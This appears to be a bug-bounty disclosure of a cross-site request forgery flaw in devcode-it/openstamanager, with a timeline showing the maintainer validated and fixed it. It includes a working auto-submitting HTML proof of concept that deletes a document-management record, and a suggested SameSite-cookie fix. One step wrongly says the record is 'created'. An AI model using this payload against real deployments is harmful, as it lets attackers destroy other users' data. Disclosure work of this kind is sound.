Cross-Site Request Forgery (CSRF) in devcode-it/openstamanager

Valid

Reported on

Jul 31st 2021


✍️ Description

Attacker able to delete any Document management if users visit attacker site.

🕵️‍♂️ Proof of Concept

1.Open the PoC.html In Firefox or safari.

2.now you can check Document management with id_record value equal to 1 have been created.

// PoC.html

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://localhost:8000/openstamanager/editor.php?id_module=60&id_record=1" method="POST">
      <input type="hidden" name="backto" value="record&#45;list" />
      <input type="hidden" name="op" value="delete" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

💥 Impact

This vulnerability is capable of delete any Document management.

Fix

Set SameSite attribute of cookies to Lax or Strict.

Occurences

We have contacted a member of the devcode-it/openstamanager team and are waiting to hear back 4 months ago
amammad
4 months ago

Researcher


hey man, I just want to sure you see this report too.

devcode-it/openstamanager maintainer validated this vulnerability 4 months ago
amammad has been awarded the disclosure bounty
The fix bounty is now up for grabs
devcode-it/openstamanager maintainer confirmed that a fix has been merged on 402dca 4 months ago
The fix bounty has been dropped